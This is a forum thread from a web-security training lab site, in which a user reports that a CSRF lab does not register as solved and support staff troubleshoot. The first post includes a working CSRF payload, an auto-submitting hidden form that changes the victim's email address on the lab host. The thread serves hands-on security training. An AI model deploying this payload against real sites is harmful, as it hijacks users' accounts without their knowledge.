Lab: CSRF vulnerability with no defenses

Sunny | Last updated: Aug 17, 2020 05:03AM UTC

Hello, going through the lab https://portswigger.net/web-security/csrf/lab-no-defenses, for some reason he does not solved. https://forum.portswigger.net/thread/lab-csrf-vulnerability-with-no-defenses-35a98ebd I had some problems with the passage, I found people who had the same problems. Here is the video: https://www.youtube.com/watch?v=lkDj4WA9AEg The solution I'm using is: ``` <form method="POST" action="https://ac541f2c1facfe6680197eeb00cd0062.web-security-academy.net/email/change-email"> <input type="hidden" name="email" value="test&#64;test&#46;com"> </form> <script> document.forms[0].submit(); </script> ```

Hi, I have just used the solution that you have provided in your forum post (changing the lab ID to the one i am using) and it has successfully solved the lab for me. Are you storing the exploit after you have copied it into the Exploit Server? Are you using the correct Lab ID URL?

Hi, yes, I tried several methods already, and through XHR, and recreated the rooms several times, it still did not work.

Hi, Are you able to provide us with step by step details of how you are trying to solve the lab so that we can take a further look for you? As mentioned, using the solution that you initially provided worked so the lab is functioning as expected.

Still the same issue, it doesn't work despite using several machines and networks, also doing several attempts.

Hi Carolina, I have just run through this lab and been able to solve it using the solution provided so it is working as expected. Are you able to provide us with details of what you are configuring in the Exploit Server? Have you paid attention to the note in 'Hint' box?
